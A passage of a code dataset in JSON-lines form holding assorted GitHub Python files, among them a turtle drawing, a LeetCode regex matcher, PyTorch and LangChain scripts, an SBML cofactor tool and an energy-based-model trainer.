push(line)","repo_name":"wobfan/advent_of_code","sub_path":"day09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"71685390505","text":"__author__ = 'apple'\n\nfrom turtle import *\n\nfig1 = ([30, 150, 30, 150], \"green\")\nfig2 = ([60, 120, 60, 120], \"orange\")\nfig3 = ([90, 90, 90, 90], \"blue\")\n\nk = 80\n\n\ndef figure(desc):\n ang, col = desc\n fillcolor(col)\n begin_fill()\n for i in ang:\n fd(k)\n lt(i)\n end_fill()\n\n\ndef composite():\n figure(fig1)\n lt(30)\n figure(fig2)\n fd(k)\n rt(30)\n figure(fig3)\n lt(30)\n bk(k)\n rt(30)\n\n\ndef wianek():\n for _ in range(6):\n composite()\n fd(k)\n rt(360 / 6)\n\n\nwianek()\ndone()\n","repo_name":"chinski99/minilogia","sub_path":"2009/etap 2/wianek.py","file_name":"wianek.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3382705461","text":"# BOTTOM-UP Dynamic Programming\nclass Solution:\n def isMatch(self, s: str, p: str) -> bool:\n cache = [[False] * (len(p) + 1) for i in range(len(s) + 1)]\n cache[len(s)][len(p)] = True\n\n for i in range(len(s), -1, -1):\n for j in range(len(p) - 1, -1, -1):\n match = i < len(s) and (s[i] == p[j] or p[j] == \".\")\n\n if (j + 1) < len(p) and p[j + 1] == \"*\":\n cache[i][j] = cache[i][j + 2]\n if match:\n cache[i][j] = cache[i + 1][j] or cache[i][j]\n elif match:\n cache[i][j] = cache[i + 1][j + 1]\n\n return cache[0][0]\n\n\n# TOP DOWN MEMOIZATION\nclass Solution:\n def isMatch(self, s: str, p: str) -> bool:\n cache = {}\n\n def dfs(i, j):\n if (i, j) in cache:\n return cache[(i, j)]\n if i >= len(s) and j >= len(p):\n return True\n if j >= len(p):\n return False\n\n match = i < len(s) and (s[i] == p[j] or p[j] == \".\")\n if (j + 1) < len(p) and p[j + 1] == \"*\":\n cache[(i, j)] = dfs(i, j + 2) or ( # dont use *\n match and dfs(i + 1, j)\n ) # use *\n return cache[(i, j)]\n if match:\n cache[(i, j)] = dfs(i + 1, j + 1)\n return cache[(i, j)]\n cache[(i, j)] = False\n return False\n\n return dfs(0, 0)\n","repo_name":"neetcode-gh/leetcode","sub_path":"python/0010-regular-expression-matching.py","file_name":"0010-regular-expression-matching.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":4208,"dataset":"github-code","pt":"36"} +{"seq_id":"12567231580","text":"import numpy as np\nfrom numpy.lib.npyio import load\nimport torch\nimport os\nimport model\nimport tensorflow as tf\nimport PIL.Image\nfrom torchvision import transforms\n\nroot_dir = \"G:\\\\projects\\\\pythonProjects\\\\data\\\\CUB_200_2011\\\\CUB_200_2011\\\\images\\\\001.Black_footed_Albatross\\\\\"\nfilenames = [os.path.join(root_dir, d) for d in tf.io.gfile.listdir(root_dir)]\n\nimage_size = 224\ntransform = transforms.Compose(\n [\n # transforms.Resize(int(image_size / 0.875)),\n # transforms.Resize((int(image_size / 0.875), int(image_size / 0.875))),\n transforms.Resize(image_size),\n transforms.CenterCrop(image_size),\n transforms.ToTensor(),\n transforms.Normalize(\n mean=(0.485, 0.456, 0.406), std=(0.229, 0.224, 0.225)\n ),\n ]\n)\n\n\ndef load_image(filename):\n image = PIL.Image.open(tf.io.gfile.GFile(filename, \"rb\")).convert(\"RGB\")\n input = transform(image)\n return input\n\n\ndef test(filenames):\n with torch.no_grad():\n filenames = filenames[:20].copy()\n # print(filenames)\n np.random.shuffle(filenames)\n inputs = torch.empty((0, 3, 224, 224))\n for filename in filenames:\n input = load_image(filename)\n input = input.view(1, 3, 224, 224)\n inputs = torch.cat([inputs, input], dim=0)\n print(inputs.shape)\n\n mymodel = model.CUBResNet50Wrapper(\n \"./cub_200_2011_labels.txt\", \"./82.12_best_model.tar\"\n )\n mymodel.model.eval()\n res = mymodel.forward(inputs)\n print(res.shape)\n print(\"results: \", torch.argmax(res, dim=1))\n\n\n# mymodel = model.CUBResNet50Wrapper(\"./cub_200_2011_labels.txt\", \"./82.12_best_model.tar\")\n# mymodel.model.eval()\n# print(torch.argmax(mymodel.forward(load_image(filenames[0])),dim=1))\ntest(filenames)\n","repo_name":"GlenGGG/pytorch_tcav_resnet50","sub_path":"test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34596870909","text":"\n#運用 Comprehensions 寫出更高效程式,可以將多行的迴圈濃縮成一行表示(one line expression )\n#Comprehensions 解析,\n# 語法 [outout for i in list if condition]\n# 範例 [ i**3 for i in [1,2,3,4] if i>2]\n\n#一般for迴圈寫法\nnums = [1,2,3,4,5,6,7,8,9]\nfor num in nums:\n print(num)\n#Comprehensions 寫法\nprint([num for num in nums])\n\n\n#一般for迴圈寫法+條件判斷\nnums = [1,2,3,4,5,6,7,8,9]\nfor num in nums:\n if num > 5:\n print(num)\n\n#Comprehensions+if 寫法\nprint([num for num in nums if num >5])\n\n#儲存另一個變數\nnums = [1,2,3,4,5,6,7,8,9]\ndouble_nums =[]\nfor num in nums:\n double_nums.append(num*2)\n\n#Comprehensions 寫法\nprint([num*2 for num in nums])\n\n##############################################\n#List Comprehensions\n[i for i in range(4) ]\n[2*i for i in range(4)]\n\n#tuple Comprehensions\n#會將tuple結果轉成list\n[i for i in (0,2,4,6)]\n\n#set Comprehensions\n{i for i in range(4)}\n\n#Generator Comprehensions\n# at 0x00000274BB614930>\ngen= (i for i in range(4))\nprint(gen)\n\n###進階\n#Nested Comprehensions\n#注意: 最好不要超過兩層以上,不然會影響可讀性\n#[(0, 0), (0, 1), (0, 2), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (2, 2), (3, 0), (3, 1), (3, 2)]\nnested_ex = [(i,j) for i in range(4) for j in range(3)]\nprint(nested_ex)\n\n\n#lambda VS Comprehensions VS 傳統迴圈\n#list(map(lambda x : x**2 ,nums)) VS [i**2 for i in range(4) ] VS 傳統迴圈\n#效能上比較: numpy > map ~= Comprehensions > 傳統迴圈\n# Plat >> Nested 原則\n\n\n","repo_name":"blackbryant/python_example","sub_path":"B.進階Python/S9-2Comprehensions有效程式碼.py","file_name":"S9-2Comprehensions有效程式碼.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3885159735","text":"import numpy as np\nimport time\nimport sys\n\nfrom __init__ import *\n\nfrom init import init_all\nfrom printer import print_header, print_config, print_line\nfrom builder import create_lib,build_harris\nfrom exec_pipe import harrispipe\nfrom app_tuner import auto_tune\n\napp = \"harris\"\n\ndef main():\n print_header()\n\n app_data = {}\n app_data['app'] = app\n app_data['ROOT'] = ROOT\n\n init_all(app_data)\n print_config(app_data)\n\n if app_data['mode'] == 'tune+':\n for g_size in [3, 5, 7]:\n for t1 in [8, 16, 32, 64, 128, 256]:\n for t2 in [8, 16, 32, 64, 128, 256]:\n create_lib(build_harris, app, app_data, g_size, [t1, t2])\n for t in range (0, 0):\n print (\"Running for iteration #\", t)\n harrispipe(app_data)\n elif app_data['mode'] == 'tune':\n print(\"Tuning\")\n auto_tune(app_data)\n else:\n create_lib(build_harris, app, app_data)\n _m = 10000000\n nsamples = 5;\n for i in range (0, nsamples):\n _m = min (_m, harrispipe(app_data))\n print (\"[main] Minimum of averaged times across \", nsamples,\n \"samples: \", _m, \" ms\")\n return\n\nmain()\n","repo_name":"bondhugula/polymage-ppopp-2018-ae","sub_path":"sandbox/apps/python/img_proc/harris/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21811387059","text":"import os\nfrom langchain.chains import RetrievalQA\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.document_loaders import CSVLoader\nfrom langchain.vectorstores import DocArrayInMemorySearch\nfrom langchain.indexes import VectorstoreIndexCreator\nfrom IPython.display import display, Markdown\nfrom langchain.embeddings import OpenAIEmbeddings\n\n\nfrom dotenv import load_dotenv, find_dotenv\n_= load_dotenv(find_dotenv())\n\n# Get File\nfile = 'OutdoorClothingCatalog_1000.csv'\nloader = CSVLoader(file_path=file)\n\nindex = VectorstoreIndexCreator(vectorstore_cls=DocArrayInMemorySearch).from_loaders([loader])\n# query = \"Please list all your shirts in with sun protection in a table in markdown and summarize each one\"\n# response = index.query(query)\n# display(Markdown(response))\ndocs = loader.load()\n# print(docs[0])\n\nembeddings = OpenAIEmbeddings()\nembed = embeddings.embed_query(\"Hi my name is Lois\")\n# print(len(embed))\n# print(embed[:5])\n\ndb = DocArrayInMemorySearch.from_documents(\n docs,\n embeddings\n)\n# query = \"Please suggest a shirt with sunblocking\"\n# docs = db.similarity_search(query)\n# print(len(docs))\n\nretriever = db.as_retriever()\nllm = ChatOpenAI(temperature=0.0)\n\n# without llm we would do this code commented out below qdocs = \"\".join([docs[i].page_content for i in range(len(\n# docs))]) response = llm.call_as_llm(f\"{qdocs} Question: Please list all your shirts with sun protection in a table\n# in markdown \" f\"and summarise\") display(Markdown(response))\n\nqa_stuff = RetrievalQA.from_chain_type(\n llm=llm,\n chain_type=\"stuff\",\n retriever=retriever,\n verbose=True\n)\nquery = \"Please list all your shirts with sun protection in a table in markdown and summarize each one\"\nresponse = qa_stuff.run(query)\nprint(response)\n#Markdown(response)\n# response = index.query(query, llm=llm)\n# index = VectorstoreIndexCreator(\n# vectorstore_cls=DocArrayInMemorySearch,\n# embedding=embeddings,\n# ).from_loaders([loader])\n\n","repo_name":"loisaleghe/LLMProject_v1","sub_path":"QnA.py","file_name":"QnA.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15828049583","text":"#!/usr/bin/env python3\n\"\"\"\nCreated on September 21 2019\n\n@author: Melchior du Lac\n@description: Function to parse collection of rpSBML to add rpCofactors\n\n\"\"\"\n\nimport os\nimport json\nimport libsbml\nimport copy\nimport logging\nimport io\nimport tarfile\nimport csv\nimport sys\nimport glob\nimport tempfile\nimport shutil\n\nsys.path.insert(0, '/home/')\nimport rpTool as rpCofactors\nimport rpCache\nimport rpSBML\nimport tool_rpUnicity\n\nlogging.basicConfig(\n #level=logging.DEBUG,\n level=logging.WARNING,\n #level=logging.ERROR,\n format='%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s',\n datefmt='%d-%m-%Y %H:%M:%S',\n)\n\n\ndef runSingleSBML(rpcofactors, member_name, rpsbml_string, pathway_id='rp_pathway', compartment_id='MNXC3', pubchem_search=False):\n \"\"\"Add the cofactors to a rpSBML file\n\n :param rpcofactors: The rpCofactors object\n :param member_name: The name of the file \n :param rpsbml_string: The string of the rpSBML file\n :param pathway_id: The Groups heterologous pathway id (Default: rp_pathway)\n :param compartment_id: The compartment SBML id (Default: MNXC3)\n :param pubchem_search: Use the pubchem database to search for missing cross reference (Default: False)\n\n :type rpcofactors: rpCofactors\n :type member_name: str\n :type rpsbml_string: str\n :type pathway_id: str\n :type compartment_id: str \n :type pubchem_search: bool\n\n :rtype: str\n :return: The rpSBML string\n \"\"\"\n #open one of the rp SBML files\n rpsbml = rpSBML.rpSBML(member_name, libsbml.readSBMLFromString(rpsbml_string))\n if rpcofactors.addCofactors(rpsbml, compartment_id, pathway_id, pubchem_search):\n return libsbml.writeSBMLToString(rpsbml.document).encode('utf-8')\n else:\n return ''\n\n\ndef runCofactors_mem(rpcofactors, inputTar, outputTar, pathway_id='rp_pathway', compartment_id='MNXC3', pubchem_search=False):\n \"\"\"Add the cofactors to an archive of rpSBML files, loading the files in memory\n\n :param rpcofactors: The rpCofactors object\n :param inputTar: Path to the tar archive containing rpSBML files\n :param outputTar: Path to the output tar archive\n :param pathway_id: The Groups heterologous pathway id\n :param compartment_id: The compartment SBML id\n :param pubchem_search: Use the pubchem database to search for missing cross reference\n\n :type rpcofactors: rpCofactors\n :type inputTar: str \n :type outputTar: str\n :type pathway_id: str\n :type compartment_id: str \n :type pubchem_search: bool\n\n :rtype: None\n :return: None\n \"\"\"\n #loop through all of them and run FBA on them\n with tarfile.open(fileobj=outputTar, mode='w:gz') as tf:\n with tarfile.open(fileobj=inputTar, mode='r') as in_tf:\n for member in in_tf.getmembers():\n if not member.name=='':\n data = singleCofactors(rpcofactors,\n member.name,\n in_tf.extractfile(member).read().decode('utf-8'),\n pathway_id,\n compartment_id)\n if not data=='':\n fiOut = io.BytesIO(data)\n info = tarfile.TarInfo(member.name)\n info.size = len(data)\n tf.addfile(tarinfo=info, fileobj=fiOut)\n\n\ndef runCofactors_hdd(rpcofactors, inputTar, outputTar, pathway_id='rp_pathway', compartment_id='MNXC3', pubchem_search=False):\n \"\"\"Add the cofactors to an archive of rpSBML files, writing the results to HDD\n\n :param rpcofactors: The rpCofactors object\n :param inputTar: Path to the tar archive containing rpSBML files\n :param outputTar: Path to the output tar archive\n :param pathway_id: The Groups heterologous pathway id\n :param compartment_id: The compartment SBML id\n :param pubchem_search: Use the pubchem database to search for missing cross reference\n\n :type rpcofactors: rpCofactors\n :type inputTar: str \n :type outputTar: str\n :type pathway_id: str\n :type compartment_id: str \n :type pubchem_search: bool\n\n :rtype: bool\n :return: The success or failure of the function\n \"\"\"\n with tempfile.TemporaryDirectory() as tmpOutputFolder:\n with tempfile.TemporaryDirectory() as tmpInputFolder:\n tar = tarfile.open(inputTar, mode='r')\n tar.extractall(path=tmpInputFolder)\n tar.close()\n if len(glob.glob(tmpInputFolder+'/*'))==0:\n logging.error('Input file is empty')\n return False\n for sbml_path in glob.glob(tmpInputFolder+'/*'):\n fileName = sbml_path.split('/')[-1].replace('.sbml', '').replace('.xml', '').replace('.rpsbml', '')\n logging.debug('============= '+str(fileName)+' ============')\n rpsbml = rpSBML.rpSBML(fileName)\n rpsbml.readSBML(sbml_path)\n rpcofactors.addCofactors(rpsbml, compartment_id, pathway_id)\n rpsbml.writeSBML(tmpOutputFolder)\n rpsbml = None\n if len(glob.glob(tmpOutputFolder+'/*'))==0:\n logging.error('rpCofactors has not produced any results')\n return False\n with tarfile.open(outputTar, mode='w:gz') as ot:\n for sbml_path in glob.glob(tmpOutputFolder+'/*'):\n fileName = str(sbml_path.split('/')[-1].replace('.sbml', '').replace('.xml', '').replace('.rpsbml', ''))\n fileName += '.sbml.xml'\n info = tarfile.TarInfo(fileName)\n info.size = os.path.getsize(sbml_path)\n ot.addfile(tarinfo=info, fileobj=open(sbml_path, 'rb'))\n return True\n\n\ndef main(inputTar,\n outputTar,\n pathway_id='rp_pathway',\n compartment_id='MNXC3',\n pubchem_search=False):\n \"\"\"Load the cache to add the cofactors to an archive of rpSBML files \n\n :param inputTar: Path to the tar archive containing rpSBML files\n :param outputTar: Path to the output tar archive\n :param pathway_id: The Groups heterologous pathway id\n :param compartment_id: The compartment SBML id\n :param pubchem_search: Use the pubchem database to search for missing cross reference\n\n :type inputTar: str \n :type outputTar: str\n :type pathway_id: str\n :type compartment_id: str \n :type pubchem_search: bool\n\n :rtype: None\n :return: None\n \"\"\"\n rpcache = rpCache.rpCache()\n rpcofactors = rpCofactors.rpCofactors()\n rpcofactors.rr_full_reactions = rpcache.getFullReactions()\n rpcofactors.deprecatedCID_cid = rpcache.getDeprecatedCID()\n rpcofactors.deprecatedRID_rid = rpcache.getDeprecatedRID()\n rpcofactors.cid_strc = rpcache.getCIDstrc()\n rpcofactors.inchikey_cid = rpcache.getInchiKeyCID()\n rpcofactors.rr_reactions = rpcache.getRRreactions()\n rpcofactors.cid_xref = rpcache.getCIDxref()\n rpcofactors.xref_comp, rpcofactors.comp_xref = rpcache.getCompXref()\n rpcofactors.chebi_cid = rpcache.getChebiCID()\n rpcofactors.cid_name = rpcache.getCIDname()\n #outputTar_bytes = io.BytesIO()\n ######## HDD #######\n with tempfile.TemporaryDirectory() as tmpResFolder:\n runCofactors_hdd(rpcofactors, inputTar, tmpResFolder+'/tmpRes.tar', pathway_id, compartment_id, pubchem_search)\n #shutil.copyfile(tmpResFolder+'/tmpRes.tar', outputTar)\n #shutil.copyfile(tmpResFolder+'/tmpRes.tar', 'tmpRes.tar')\n ######## MEM #######\n #runCofactors_mem(rpcofactors, inputTar, outputTar, params['pathway_id'], params['compartment_id'])\n ####### rpUnicity ######\n tool_rpUnicity.deduplicate(tmpResFolder+'/tmpRes.tar', outputTar)\n\n\ndef main_extrules(inputTar,\n outputTar,\n rxn_recipes,\n rules_rall_tsv,\n compounds_tsv,\n pathway_id='rp_pathway',\n compartment_id='MNXC3',\n pubchem_search=False):\n \"\"\"Load the cache to add the cofactors to an archive of rpSBML files and accept external reaction rules\n\n :param inputTar: Path to the tar archive containing rpSBML files\n :param outputTar: Path to the output tar archive\n :param rxn_recipes: Path to reaction recipes\n :param rules_rall_tsv: Path to the reaction rules\n :param compounds_tsv: Path to the compounds file\n :param pathway_id: The Groups heterologous pathway id\n :param compartment_id: The compartment SBML id\n :param pubchem_search: Use the pubchem database to search for missing cross reference\n\n :type inputTar: str \n :type outputTar: str\n :type rxn_recipes: str \n :type rules_rall_tsv: str\n :type compounds_tsv: str\n :type pathway_id: str\n :type compartment_id: str \n :type pubchem_search: bool\n\n :rtype: None\n :return: None\n \"\"\"\n rpcache = rpCache.rpCache()\n rpcofactors = rpCofactors.rpCofactors()\n #### parse the input files and merge with cache ####\n ''' if you want to merge\n rpcache.retroRulesFullReac(rxn_recipes)\n new_full_reactions = copy.deepcopy(rpcache.rr_full_reactions)\n rpcache.rr_full_reactions = {**rpcache.getFullReactions(), **new_full_reactions}\n rpcofactors.rr_full_reactions = rpcache.rr_full_reactions\n #reaction rules\n rpcache.retroReactions(rules_rall_tsv)\n new_rr_reactions = copy.deepcopy(rpcache.rr_reactions)\n rpreader.rr_reactions = {**rpcache.getRRreactions(), **new_rr_reactions}\n '''\n #if you want to overwite\n rpcache.retroRulesFullReac(rxn_recipes)\n rpcofactors.rr_full_reactions = rpcache.rr_full_reactions\n rpcache.retroRulesStrc(compounds_tsv)\n new_cid_strc = copy.deepcopy(rpcache.cid_strc)\n rpcache.cid_strc = {**rpcache.getCIDstrc(), **new_cid_strc}\n rpcache._inchikeyCID()\n rpcofactors.cid_strc = rpcache.cid_strc\n rpcofactors.inchikey_cid = rpcache.inchikey_cid\n #reaction rules\n rpcache.retroReactions(rules_rall_tsv)\n rpcofactors.rr_reactions = rpcache.rr_reactions\n ##\n rpcofactors.deprecatedCID_cid = rpcache.getDeprecatedCID()\n rpcofactors.deprecatedRID_rid = rpcache.getDeprecatedRID()\n rpcofactors.cid_xref = rpcache.getCIDxref()\n rpcofactors.xref_comp, rpcofactors.comp_xref = rpcache.getCompXref()\n rpcofactors.chebi_cid = rpcache.getChebiCID()\n rpcofactors.cid_name = rpcache.getCIDname()\n #outputTar_bytes = io.BytesIO()\n ######## HDD #######\n with tempfile.TemporaryDirectory() as tmpResFolder:\n runCofactors_hdd(rpcofactors, inputTar, tmpResFolder+'/tmpRes.tar', pathway_id, compartment_id, pubchem_search)\n #shutil.copyfile(tmpResFolder+'/tmpRes.tar', outputTar)\n #shutil.copyfile(tmpResFolder+'/tmpRes.tar', 'tmpRes.tar')\n ######## MEM #######\n #runCofactors_mem(rpcofactors, inputTar, outputTar, params['pathway_id'], params['compartment_id'])\n ####### rpUnicity ######\n tool_rpUnicity.deduplicate(tmpResFolder+'/tmpRes.tar', outputTar)\n","repo_name":"galaxy-synbiocad/rpCofactors","sub_path":"rpToolServe.py","file_name":"rpToolServe.py","file_ext":"py","file_size_in_byte":10958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42339661996","text":"import json\nfrom collections import defaultdict\n\n\nif __name__== \"__main__\":\n with open('../data/post_train_v1.json') as data_file: \n train_data = json.load(data_file)\n \n dict_o= defaultdict(lambda:defaultdict(int))\n \n for d in train_data.keys():\n for word in train_data[d]['words']:\n dict_o[word][train_data[d]['answer'] ] +=1\n\n# print dict_o['expands']['Femur']\n \n json.dump(dict_o, open('../data/trained_coef_v1.json', 'w'))\n \n ","repo_name":"CU-Boulder-Course/MLProjectBYZ","sub_path":"code/train_v1.py","file_name":"train_v1.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26543653978","text":"from galaxy.config.config_manage import AppSchema\n\n\ndef test_get_reloadable_option_defaults(monkeypatch):\n mapping = {\n 'item1': {\n 'default': 1,\n 'reloadable': True,\n },\n 'item2': {\n 'default': 2,\n 'reloadable': True,\n },\n 'item3': {\n 'default': 3,\n 'reloadable': False,\n },\n 'item4': {\n 'default': 4,\n },\n }\n\n def mock_init(self):\n self.reloadable_options = self._load_reloadable_options(mapping)\n\n def mock_get_app_option(self, name):\n return mapping[name]\n\n monkeypatch.setattr(AppSchema, '__init__', mock_init)\n monkeypatch.setattr(AppSchema, 'get_app_option', mock_get_app_option)\n\n appschema = AppSchema()\n\n options = appschema.get_reloadable_option_defaults()\n\n assert len(options) == 2\n assert options['item1'] == 1\n assert options['item2'] == 2\n","repo_name":"GravityOpenSource/gravity","sub_path":"test/unit/config/config_manage/test_appschema.py","file_name":"test_appschema.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37736899838","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 22 14:12:15 2017\n\n@author: qwang2\n\"\"\"\n\nimport pandas as pd\nfrom pg import DB\nimport configparser\n\n# CONNECTION SET UP\nCONFIG = configparser.ConfigParser()\nCONFIG.read('db.cfg')\ndbset = CONFIG['DBSETTINGS']\n\ndb = DB(dbname=dbset['database'],host=dbset['host'],user=dbset['user'],passwd=dbset['password'])\n\n# pairs.csv - merge segments where intersecting segment(s) is of equal or lower class or intersecting segment(s) is lower than Collector \n# pairs2.csv - merge segments where intersecting segment(s) is lower than Collector \n# that is, locals intersecting locals will be separate in pairs.csv but merged in pairs2.csv\n# pairs_directional.csv - directional segments\n\npairs = pd.read_csv('pairs_directional.csv', names = ['c1','c2','dirc','same'])\npairs = pairs[pairs['same']=='t']\npairs['c1'] = pairs['c1'].astype(int)\npairs['c2'] = pairs['c2'].astype(int)\npairs['dirc'] = pairs['dirc'].astype(int)\n\npairs['c1'] = pairs['c1']*pairs['dirc']\npairs['c2'] = pairs['c2']*pairs['dirc']\n\nroot = list(set(list(pd.DataFrame(pairs['c1']).drop_duplicates()['c1'])+list(pd.DataFrame(pairs['c2']).drop_duplicates()['c2'])))\nto_visit = []\nvisited = []\nchains = []\nwhile root:\n current = root.pop()\n visited.append(current)\n to_visit.extend(list(pairs.groupby('c1').get_group(current)['c2']))\n chain = [current]\n\n while to_visit:\n current = to_visit.pop()\n if current not in visited:\n chain.append(current) \n root.remove(current)\n to_visit.extend(list(pairs.groupby('c1').get_group(current)['c2']))\n visited.append(current)\n \n chains.append(chain)\n\ngroups = {}\ncount = 1\ntable = []\nfor group in chains:\n for tcl in group:\n table.append([abs(tcl),int(tcl/abs(tcl)),count])\n count = count + 1\n\ndb.truncate('prj_volume.centreline_groups')\ndb.inserttable('prj_volume.centreline_groups',table)\n\ntcl_no_merge = [x for t in db.query('SELECT centreline_id*dir_bin FROM prj_volume.centreline_groups RIGHT JOIN (SELECT centreline_id, (CASE oneway_dir_code WHEN 0 THEN UNNEST(ARRAY[1,-1]) ELSE oneway_dir_code * dir_binary((ST_Azimuth(ST_StartPoint(shape), ST_EndPoint(shape))+0.292)*180/pi()) END) AS dir_bin, feature_code FROM prj_volume.centreline) A USING (centreline_id, dir_bin) WHERE group_number is null and feature_code < 202000').getresult() for x in t]\nfor tcl in tcl_no_merge:\n table.append([abs(int(tcl)),int(tcl/abs(tcl)),count])\n count = count + 1\n\ndb.truncate('prj_volume.centreline_groups')\ndb.inserttable('prj_volume.centreline_groups',table)\ndb.close()","repo_name":"CityofToronto/bdit_volumes","sub_path":"volume_project/preprocessing/spatial_interpolation/group_centrelines.py","file_name":"group_centrelines.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"} +{"seq_id":"22085051606","text":"import os\nimport math\nimport torch\nimport argparse\nfrom sebm.data import setup_data_loader\nfrom sebm.utils import set_seed, create_exp_name, init_models, save_models, Trainer\n \nclass Train_VERA(Trainer):\n def __init__(self, models, train_loader, num_epochs, device, exp_name, args):\n super().__init__(models, train_loader, num_epochs, device, exp_name)\n self.ebm_optimizer = torch.optim.Adam(self.models['cebm'].parameters(), lr=args.lr_p, betas=(args.beta1, args.beta2))\n self.gen_optimizer = torch.optim.Adam(self.models['gen'].parameters(), lr=args.lr_q, betas=(args.beta1, args.beta2))\n self.xee_optimizer = torch.optim.Adam(self.models['xee'].parameters(), lr=args.lr_xee)\n\n scheduler_kwargs = {\n \"milestones\": [int(epoch * len(train_loader)) for epoch in args.decay_epochs],\n \"gamma\": args.decay_rate\n }\n self.lr_p = args.lr_p\n self.lr_q = args.lr_q\n self.e_lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(self.ebm_optimizer, **scheduler_kwargs)\n self.g_lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(self.gen_optimizer, **scheduler_kwargs) \n\n self.metric_names = ['loss_p', 'loss_q', 'ELBO', 'E_data', 'E_model']\n \n self.sample_size = args.sample_size\n self.gamma = args.gamma\n self.lambda_ent = args.lambda_ent\n self.min_x_logsgima = math.log(args.min_x_sigma)\n self.max_x_logsigma = math.log(args.max_x_sigma)\n self.warmup_iters = args.warmup_iters\n self.likelihood = args.likelihood\n\n def train_epoch(self, epoch):\n ebm = self.models['cebm']\n metric_epoch = dict.fromkeys(self.metric_names, 0.0)\n for b, (x_data, _) in enumerate(self.train_loader):\n # warmup lr\n itr = epoch * len(self.train_loader) + b + 1\n if itr < self.warmup_iters:\n lr_p = self.lr_p * (itr + 1) / float(self.warmup_iters)\n lr_q = self.lr_q * (itr + 1) / float(self.warmup_iters)\n for param_group in self.ebm_optimizer.param_groups:\n param_group['lr'] = lr_p\n for param_group in self.gen_optimizer.param_groups:\n param_group['lr'] = lr_q\n x_data = x_data.to(self.device)\n z0, x_given_z0, _ = self.models['gen'].sample(x_data.shape[0])\n loss_ebm, metric_epoch = self.cd(x_data, x_given_z0, metric_epoch)\n self.ebm_optimizer.zero_grad()\n loss_ebm.backward()\n self.ebm_optimizer.step()\n \n elbo, metric_epoch = self.elbo(z0, x_given_z0, metric_epoch)\n self.xee_optimizer.zero_grad()\n (-elbo).backward()\n self.xee_optimizer.step()\n \n loss_gen, metric_epoch = self.loss_gen(z0, x_given_z0, metric_epoch)\n self.gen_optimizer.zero_grad()\n loss_gen.backward()\n self.gen_optimizer.step()\n \n if self.likelihood == 'gaussian':\n self.models['gen'].x_logsigma.data.clamp_(min=self.min_x_logsgima, max=self.max_x_logsigma)\n\n self.e_lr_scheduler.step()\n self.g_lr_scheduler.step()\n \n if loss_ebm.detach().abs().item() > 1e+8:\n print('EBM diverging. Terminate training..')\n exit()\n# break\n return {k: (v.item() / (b+1)) for k, v in metric_epoch.items()}\n\n def loss_gen(self, z0, x_given_z0, metric_epoch):\n E_model = self.models['cebm'].energy(x_given_z0)\n z, log_xee = self.models['xee'].sample(z0=z0, sample_size=self.sample_size, detach_sigma=True)\n log_joint, x_mu_given_z = self.models['gen'].log_joint(x=x_given_z0, z=z)\n \n if self.likelihood == 'gaussian':\n neg_grad_log_q_x_given_z = (x_given_z0[None] - x_mu_given_z) / (self.models['gen'].x_logsigma.exp() ** 2)\n \n elif self.likelihood == 'cb':\n x_expand = x_given_z0.detach().expand(self.sample_size, *x_given_z0.shape).requires_grad_()\n neg_grad_log_q_x_given_z = torch.autograd.grad(self.models['gen'].ll(x=x_expand, z=z.detach()).sum(), \n x_expand)[0]\n \n assert log_xee.shape == log_joint.shape\n w = torch.nn.functional.softmax(log_joint - log_xee, dim=0).detach() \n neg_grad_log_q_x = (w[:, :, None, None, None] * neg_grad_log_q_x_given_z).sum(0).detach()\n assert neg_grad_log_q_x.shape == x_given_z0.shape\n grad_entropy = (neg_grad_log_q_x * x_given_z0).flatten(start_dim=1).sum(1).mean(0)\n loss = E_model.mean() - self.lambda_ent * grad_entropy\n metric_epoch['loss_q'] += loss.detach() #(1. / (w**2).sum(0)).mean()\n return loss, metric_epoch\n \n def elbo(self, z0, x_given_z0, metric_epoch):\n z, entropy = self.models['xee'].sample(z0=z0.detach(), entropy=True)\n# xee_dist = Normal(z0.detach(), self.models['xee_logsigma'].exp())\n# z = xee_dist.rsample()\n log_joint, _ = self.models['gen'].log_joint(x=x_given_z0.detach(), z=z)\n# entropy = xee_dist.entropy().sum(-1)\n elbo = (log_joint + entropy).mean()\n metric_epoch['ELBO'] += elbo.detach()\n return elbo, metric_epoch\n \n \n def cd(self, x_data, x_given_z0, metric_epoch):\n \"\"\"\n maximize the log marginal i.e. log pi(x) = log \\sum_{k=1}^K p(x, y=k)\n \"\"\"\n x_data.requires_grad_()\n E_data = self.models['cebm'].energy(x_data)\n E_model = self.models['cebm'].energy(x_given_z0.detach())\n E_div = E_data.mean() - E_model.mean() \n \n grad_E_data = torch.autograd.grad(E_data.sum(), x_data, create_graph=True)[0].flatten(start_dim=1).norm(2, 1)\n loss = E_div + \\\n self.gamma * (grad_E_data ** 